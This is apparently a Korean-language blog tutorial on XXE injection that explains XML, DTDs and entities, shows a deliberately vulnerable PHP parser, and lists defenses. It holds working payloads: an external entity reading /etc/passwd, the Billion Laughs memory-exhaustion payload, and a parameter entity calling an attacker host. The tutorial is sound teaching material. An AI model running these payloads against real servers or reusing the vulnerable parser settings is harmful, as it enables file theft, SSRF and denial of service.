개요
XXE 취약점의 기본적인 내용을 정리해둔다. 2017년경에 정리했던 내용을 업데이트했다.
XXE (XML eXternal Entity) Injection 이란?
- XML의
DTD의 외부 Entity 참조기능을 악용하여 중요 파일 열람, DOS등의 행위를 시도하는 공격이다. - OWASP Top 10 2017에 포함되어 있었다.
사례
구글, 페이스북등 세계적인 회사들의 서버에서도 취약점이 발견된 적이 있다.
- 페이스북 XXE 취약점: https://threatpost.com/xxe-bug-patched-in-facebook-careers-third-party-service/110151/
- 구글 XXE 취약점: http://securityaffairs.co/wordpress/23943/hacking/hacking-google-server-with-xml.html
- 워드프레스 XXE 취약점: https://packetstormsecurity.com/files/121492/wpadvancedxml-xxe.txt
또한 관련된 취약점을 CVE 데이터베이스에서 찾아보면 엄청나게 많은 것을 알 수 있다. http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=xxe
기본개념
XML?
데이터 교환용의 마크업 언어
<recipe>
<title>스푼위의 피넛버퍼</title>
<ingredientlist>
<ingredient>피넛버터</ingredient>
</ingredientlist>
<preparation>
스푼을 잡고 피넛버터 단지에 넣은 후, 피넛버터를 한 숟갈 덜어낸다.
</preparation>
</recipe>
RSS, XML-RPC, SOAP 등 많은 프토토콜에서 사용된다.
또한, Office Open XML, OpenDocument 포맷, SVG, XHTML 등에도 사용된다.
DTD?
Document Type Definition 의 약자로 XML문서에 사용될 구성요소(컴포넌트)를 정의해 놓은 것이다.
다음과 같이 XML에서 recipe, title 등의 구성요소를 사용할 수 있다고 정의해놓은 것이 DTD이다.
<!DOCTYPE recipe
[
<!ELEMENT recipe (title?, ingrediantlist?,preparation?)>
<!ELEMENT ingredientlist (ingrediant+)>
<!ELEMENT ingredient (#PCDATA)>
<!ELEMENT preparation (#PCDATA)>
]>
Entity(엔터티)?
- XML에서 데이터를 참조하기 위한 방법.
- DTD에서
ENTITY라는 키워드를 사용해서 정의한다. - XML본문에서 DTD를 참조하여 사용한다.
- 일반 엔터티 참조는
&로 시작하여;으로 끝난다.
어떻게 공격이 가능한가?
- DTD 문법에는 외부 엔터티를 정의할 수 있는 기능이 있다.
- 외부 엔터티는 원래 문서 외부에 존재하는 값(파일이나 URL등)을 문서 내에서 보여주기 위한 기능이다.
- 이 외부 엔터티는
SYSTEM이라는 키워드를 이용해서 사용가능하며, 여기에 중요 파일을 지정할 경우 그 값이 노출된다.
검증
구동환경
구동환경은 다음과 같다. 2017년 기준 최신의 환경으로 세팅하였다.
- php 7.0
- php-xml
- Apache2
공격 대상 PHP 페이지
다음은 취약점을 갖고 있는 PHP 페이지 코드이다.
입력받은 XML 문자열을 파싱한 결과를 출력해주는 간단한 기능을 가지고 있다.
<html>
<body>
<?php
$xml = $_POST['xml'];
if ($xml){
echo "input length: ".strlen($_POST['xml']);
echo '<br>';
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$doc = simplexml_import_dom($dom);
}
?>
<h1> Vulnerable XML Parser</h1>
<form action="index.php" method='post'>
<textarea name="xml" rows="12" cols="100"></textarea>
<br>
<input type="submit" size="55">
<br>
<?php echo $doc->testing; ?>
</form>
</body>
</html>
정상패턴
다음과 같은 형태가 정상적인 경우다.
DTD에서 foo라는 이름의 엔티티를 정의하였고, XML에서는 foo의 값을 출력하게 하였다.
<!DOCTYPE test
[<!ENTITY foo "xml external entity">]>
<test><testing>&foo;</testing></test>
공격패턴
foo의 값을 SYSTEM "file:///etc/passwd" 로 변경하였다.
<!DOCTYPE test
[<!ENTITY foo SYSTEM "file:///etc/passwd">]>
<test><testing>&foo;</testing></test>
공격 패턴
파일 참조
- 서버의 중요파일을 참조해서 정보를 빼내는 방법이다.
- 블라인드인 경우에는 OAST 스캔닝 기법으로 외부 서버로 데이터를 보내도록 할 수 있다.
- 외부서버로의 커넥션을 차단하는 경우는 에러 메세지를 통해서 정보를 빼내는 기법도 있다.
SSRF
- SSRF를 악용해서 서버가 백엔드 시스템으로 요청을 보내도록 할 수 있다.
Dos (A.K.A Billion Laughs)
- 10억개의 웃음
- 서버의 자원을 소모하는 Dos 공격이다.
- 다음 페이로드가 XML파서에 의해 수행되면 서버의 메모리를 3기가 바이트 정도 잡아먹는다.
- 3바이트 문자열 lol 의 참조가
&lol9;부터 시작해서 lol8으로 가면서 10번 참조, lol7로 가면서 또 10번 참조.. 이런식으로 늘어난다. - 참조가 트리 구조로 펼쳐지는 것을 상상해보자. 10번의 참조가 9번등장하므로 최종적으로는 10의 9승(10^9)번의 lol문자 (그래서
Billion Laughs) 가 메모리에 존재하게 된다.
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
- 그러나 php에서 실시해보면 보안기능에 의해
Detected an entity reference loop in Entity와 같은 에러가 발생하면서 실시가 중지된다.
Quadratic Blowup
Billion Laughs공격은 지수적으로 증가한다.- 이 공격의 포인트는 엔터티의 순환 참조를 회피하기 위해, 순환참조는 한번으로 하되, 문자열 변수의 길이를 늘리고, 참조회수를 늘리는 것이다.
- https://beistlab.files.wordpress.com/2015/01/grayhash_intro_xxe.pdf (현재는 링크가 깨진듯?)
- 페이로드는
https://github.com/JaewoongMoon/php-study/blob/master/xxe/lol_test.php에서 확인할 수 있다.
XML 파라메터 엔터티
- 앱의 입력 유효성 검사 및 사용되는 XML 파서를 강화하면 일반 엔터티를 사용한 XXE 공격이 차단될 수 있다.
- 이러한 상황에서는
XML 파라메터 엔터티를 대신 사용할 수 있을 가능성이 있다. - XML 매개 변수 엔터티는 DTD의 다른 위치에서만 참조할 수 있는 특수한 유형의 XML 엔터티이다.
예는 다음과 같다.
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
방어방법
- XML을 파싱할 때 외부 참조를 허용하지 않는다.
예를들어 PHP인 경우, XML을 파싱할 때, 다음의 플래그를 비활성화 한다.
관련 PHP 플래그
LIBXML_NOENT: XML을 파싱할 때 엔터티 참조를 허용하는 옵션이다.(외부/내부 모두)LIBXML_DTDLOAD: 외부 참조 DTD 서브셋을 로드한다.
또는 libxml_disable_entity_loader(true); 라인을 loadXML함수를 호출하기전에 넣는다. (PHP 8부터는 기본적으로 XXE에 대해서 안전하다고 한다. )
- XML Include(Xinclude) 를 무효화한다.
참고자료
- https://portswigger.net/web-security/xxe#what-is-xml-external-entity-injection
- 내가 2017년에 공개한 슬라이드: https://www.slideshare.net/ted0201/jp-xxe-injection20170627moon
- https://www.slideshare.net/slideshow/phpcon-2013xmlphpvuln/26184553
- http://hyunmini.tistory.com/66
- https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection
- https://ko.wikipedia.org/wiki/XML
- https://en.wikipedia.org/wiki/Document_type_definition
- http://php.net/manual/en/domdocument.loadxml.php
- http://php.net/manual/en/libxml.constants.php
- http://php.net/manual/en/language.operators.bitwise.php
- http://stackoverflow.com/questions/38807506/what-does-libxml-noent-do-and-why-isnt-it-called-libxml-ent
- https://github.com/JaewoongMoon/php-study/blob/master/xxe/index.php
- 방어를 위한 치트시트: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html